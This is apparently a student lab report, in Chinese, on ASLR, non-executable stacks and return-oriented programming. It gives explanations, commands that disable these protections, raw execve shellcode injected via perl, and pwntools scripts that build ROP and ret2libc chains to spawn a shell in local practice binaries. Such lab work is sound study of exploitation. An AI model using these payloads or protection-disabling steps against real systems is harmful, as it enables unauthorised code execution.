实践基础知识
1、ALSR
1、定义:
ASLR,全称为 Address Space Layout Randomization,地址空间布局随机化,它将进程的某些内存空间地址进行随机化来增大入侵者预测目的地址的难度,从而降低进程被成功入侵的风险。简而言之,就是在运行程序时通过随机化栈地址,从而减低攻击者猜测到关键代码运行地址的可能,降低被攻击的风险。
Linux 平台上 ASLR 分为 0,1,2 三级,用户可以通过一个内核参数 randomize_va_space 进行等级控制。它们对应的效果如下:
0:没有随机化。即关闭 ASLR。
1:保留的随机化。共享库、栈、mmap() 以及 VDSO 将被随机化。
2:完全的随机化。在 1 的基础上,通过 brk() 分配的内存空间也将被随机化。
2、演示:
用一个简单的代码演示一下ALSR对栈地址的影响,代码如下:
#include <stdio.h>
int main()
{
int a = 1;
printf("Address of a is %p, in stack\n", &a);
return 0;
}
编译运行(这里我的Linux系统默认开启了地址随机化);查询和开启地址随机化的命令:
echo "2" > /proc/sys/kernel/randomize_va_space
more /proc/sys/kernel/randomize_va_space
结果入下图:
1、运行结果:
2、地址随机化:
2、堆栈不可执行
1、定义:
通过使被攻击程序的数据段地址空间不可执行,从而使得攻击者不可能执行被植入被攻击程序输入缓冲区的代码,这种技术被称为非执行的缓冲区技术,即堆栈不可执行。实际上,绝大多数合法程序都是设置堆栈数据段不可执行,因为几乎所有合法程序都不会在堆栈中存放代码,这样既保证了安全性,又兼顾了程序使用。(演示放在实践内容中)
3。ROP
1、定义:
1.ROP全称为Retrun-oriented Programmming(面向返回的编程)是一种新型的基于代码复用技术的攻击,攻击者从已有的库或可执行文件中提取指令片段,构建恶意代码。
2.ROP攻击同缓冲区溢出攻击,格式化字符串漏洞攻击不同,是一种全新的攻击方式,它利用代码复用技术。
3.ROP的核心思想:
- 攻击者扫描已有的动态链接库和可执行文件,提取出可以利用的指令片段(gadget),这些指令片段均以ret指令结尾,即用ret指令实现指令片段执行流的衔接。
- 操作系统通过栈来进行函数的调用和返回。函数的调用和返回就是通过压栈和出栈来实现的。每个程序都会维护一个程序运行栈,栈为所有函数共享,每次函数调用,系统会分配一个栈桢给当前被调用函数,用于参数的传递、局部变量的维护、返回地址的填入等。栈帧是程序运行栈的一部分 ,在Linux中 ,通过%esp和 %ebp寄存器维护栈顶指针和栈帧的起始地址 ,%eip是程序计数器寄存器。
而ROP攻击则是利用以ret结尾的程序片段 ,操作这些栈相关寄存器,控制程的流程,执行相应的gadget,实施攻击者预设目标 。
4.ROP不同于retum-to-libc攻击之处在于,R0P攻击以ret指令结尾的函数代码片段 ,而不是整个函数本身去完成预定的操作。
- 从广义角度讲 ,return-to-libc攻击是ROP攻的特例。
- 最初ROP攻击实现在x86体系结构下,随后扩展到各种体系结构.。
与以往攻击技术不同的是,ROP恶意代码不包含任何指令,将自己的恶意代码隐藏在正常代码中。因而,它可以绕过W⊕X的防御技术。
实践准备
本次试验由于需要用到[ROPgadget](https://github.com/JonathanSalwan/ROPgadget/tree/master)
,所以需要提前安装pip
,capstone
和pwntools
安装命令如下:
sudo apt-get update
sudo apt-get install pip
sudo pip install capstone
pip install ropgadget
ROPgadget
pip install pwntools
安装完成后需重启虚拟机。
实践内容
1、基础攻击——关闭堆栈保护和地址随机化(32位)
1、参考实验一。
2、堆栈不可执行演示(以pwn为例):
过程简述:
1、准备工作:
cp pwn1 5313
execstack -s 5313 //设置堆栈可执行
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
2、测试寻找溢出地址:
构造一个字符串作为测试输入,寻找进程号,gdb调试找到覆盖地址,构造playload,攻击成功:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
(cat input_shellcode;cat) | ./5313
ps -ef | grep 5313
perl -e 'print "A" x 32;print "\x80\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
(cat input_shellcode;cat) | ./5313
具体过程可参考试验一中的任务三
3、关闭堆栈可执行重复2中的操作(关闭堆栈可执行命令:execstack -c 文件名
):
可以看出堆栈不可执行对于溢出攻击有一定的防范效果。
2、进阶实践——开启堆栈保护
1、原理简述
由上文可看出简单的在原本代码中利用堆栈溢出实施攻击的方法已经不可用了,所以我们利用ROP技术实施攻击。(基础知识里已经简绍了)这里用量组图简单解释一下:
1、核心原理:
攻击用的缓冲区 | 指向的内容 | 说明 |
---|---|---|
ptr3内存地址3(高地址) | system | |
ptr2内存地址2 | /bin/sh | |
ptr1内存地址1(低地址) | pop %rdi;retq | 覆盖堆栈上的返回地址 |
填充内容 | 这部分内容主要是长度要合适,保证ptr1能覆盖到返回地址 |
- 利用这个攻击buf覆盖堆栈
- 当函数返回时,就会跳转到ptr1指向的指令
- pop %rdi时,ESP/RSP指向的就是ptr2,结果就是ptr2被弹出到rdi中。然后ESP/RSP指向ptr3
- 接下来执行retq时,就会跳转到当前ESP指向的内容,即ptr3指向的函数,system。system从RDI中取参数运行/bin/sh获得Shell。
2、具体操作:
说明:
gadget_addr
指向的是程序中可以利用的小片段代码bin_sh_addr
指向的是字符串参数:'/bin/sh'system_addr
则指向system函数
1.程序运行到gadget_addr
时(esp/rsp
指向gadget_addr
),接下来会跳转到小片段里执行命令,同时``esp/rsp+8(
esp/rsp指向bin_sh_addr) 2.然后执行
pop rdi/edi,将
bin_sh_addr弹入
edi/rdi寄存器中,同时
esp/rsp + 8(
esp/rsp指向
system_addr) 3.执行
return指令,因为这时
esp/rsp是指向
system_addr的,这时就会调用
system函数,而参数是通过
edi/rdi传递的,也就是会将
/bin/sh传入,从而实现调用
system('/bin/sh')```
2、开启堆栈不可执行关闭地址随机化
32位攻击:
1、开启堆栈不可执行:
execstack -c 5313
2、gdb调试
输入gdb ./5313
之后,开始调试:
- 先将在main处设置断点,然后运行程序
- 输入print system查看system在内存中的位置,如图位置在0xf7e10980处
- 输入print __libc_start_main查看__libc_start_main的位置,同时根据__libc_start_main的位置,找到/bin/sh的位置:0xf7f50aab
3、攻击:
由第二步得到的system和/bin/sh的位置,编写payload并注入
64位攻击:
1、测试代码编译:
#include <stdio.h>
#include <string.h>
void vul(char *msg)
{
char buffer[64];
memcpy(buffer,msg,128);
return;
}
int main()
{
puts("So plz give me your shellcode:");
char buffer[256];
memset(buffer,0,256);
read(0,buffer,256);
vul(buffer);
return 0;
}
使用命令gcc -g -ggdb -fno-stack-protector -no-pie a.c -o a
产生可执行文件。这里解释一下:-fno-stack-protector
在gcc编译中表示栈溢出检测。
2、查看加载的libc
文件及地址:
ldd a
- 得到
libc
版本为:libc.so.6
- libc的加载地址
libc_base = 0x00007f07ecbf2000
- 同时将
libc.so.6
拷贝到a同级目录:cp /lib/x86_64-linux-gnu/libc.so.6 你的目录
3、利用ROPgadget寻找可使用的gadget片段:
ROPgadget --binary a --only "pop|ret"|grep rdi
4、编写攻击代码:
from pwn import *
p = process('./a')
p.recvuntil("shellcode:")
elf = ELF('libc.so.6')
system_in_libc = elf.symbols['system'] #system在libc文件里的偏移地址
#print hex(system_in_libc)
bin_sh_in_libc = next(elf.search('/bin/sh')) #/'bin/sh'字符串在libc里的偏移地址
#print hex(bin_sh_in_libc)
libc_base = 0x00007f07ecbf2000 #libc加载的基址
gadget_addr = 0x000000000040123b #搜索到的gadget片段的地址
system_addr = libc_base + system_in_libc #system在程序里的地址
bin_sh_addr = libc_base + bin_sh_in_libc #/bin/sh在程序里的地址
print hex(system_addr) +'----'+hex(bin_sh_addr)
#布局
buf = 'A'*72
buf += p64(gadget_addr)
buf += p64(bin_sh_addr)
buf += p64(system_addr)
with open('poc','wb') as f :
f.write(buf)
p.sendline(buf) #开始溢出
p.interactive()
运行python b.py
:
可见攻击失败,推测可能是攻击代码有错漏,继续寻找解决方案。
重新开始:
成功获权,上一步未成功原因可能是地址寻找错误。
3、再次进阶——开启堆栈不可执行和地址随机化
1、原理:
1、绕过ASLR(地址随机化),泄露出libc的基址libc_base,然后利用Ret2libc或构造ROP链绕过NX(两者一次完成)
2、首先通过溢出返回至PLT表中,调用具有输出功能的函数(常用puts/write/printf)将GOT表中的真实libc函数地址打印出来,从而分析libc基地址。然后返回至漏洞函数二次触发溢出,此时便采取正常利用思路获得shell。
3、图文简述:
返回地址return_addr被覆盖为puts@plt地址,当运行到原返回地址位置时,会跳转到puts中执行,同时,esp指向esp+4,这时对puts来说,它内部的ret(返回地址)执行时esp指针还是指向esp+4的,也就是esp + 4(main)就是puts函数的返回地址,而esp+8(__libc_start_main@got.plt)则是它的参数。当调用puts时,__lic_start_main作为参数传入,这样我们就可以获得__libc_start_main在程序中的加载地址,当puts返回时会回到main函数当中,从而实现堆漏洞的二次利用。
2、攻击:
1、objdump -R pwn02
查看__lic_start_main
地址(0x0804bfd8 ):
2、objdump -d pwn02
查找puts@plt
(0x08048868)和main
( 0x80496d1)
3、编写代码攻击:
from pwn import *
r = process('./pwn02')
def overflow(data):
r.recvuntil('Your choice: ')
r.sendline('3')
r.recvuntil('):')
r.sendline('+')
r.recvuntil('):')
r.sendline('1 2')
r.recvuntil('input your id')
r.sendline(data)
buf = 'A' * 44
buf += p32(0x08048868)
buf += p32(0x080496d1)
buf += p32(0x0804bfd8)
overflow(buf)
r.recvuntil('...\n')
leak_message = r.recv(4)
print repr(leak_message)
leak_value = u32(leak_message)
print 'leak_value is ' + hex(leak_value)
libc_base =leak_value - 0x000198B0
system_addr = libc_base + 0x0003D7E0
sh_addr = libc_base + 0x0017c968
buf = 'A' * 44
buf += p32(system_addr)
buf += p32(0xdeadbeef)
buf += p32(sh_addr)
overflow(buf)
r.interactive()
攻击失败,重新尝试。
重新搭建环境并实践
这次参考的是:参考资料
漏洞代码:
include <stdio.h>
#include <string.h>
/* Eventhough shell() function isnt invoked directly, its needed here since 'system@PLT' and 'exit@PLT' stub code should be present in executable to successfully exploit it. */
void shell() {
system("/bin/sh");
exit(0);
}
int main(int argc, char* argv[]) {
int i=0;
char buf[256];
strcpy(buf,argv[1]);
printf("%s\n",buf);
return 0;
}
反汇编可见,其本身就有可利用的PLT代码(本身不因ALSR发生变化),因此可直接利用其获权。即直接利用一个在执行前就知道地址的获权函数。
实践感想
本身的水平有限,做出来的结果并不是那么合乎要求。但通过这次实践,我还是收获不少,最重要的是,我逐渐学会了如何独自了解学习自己从来不了解的的知识,这对我的帮助无疑是最大的,继续努力。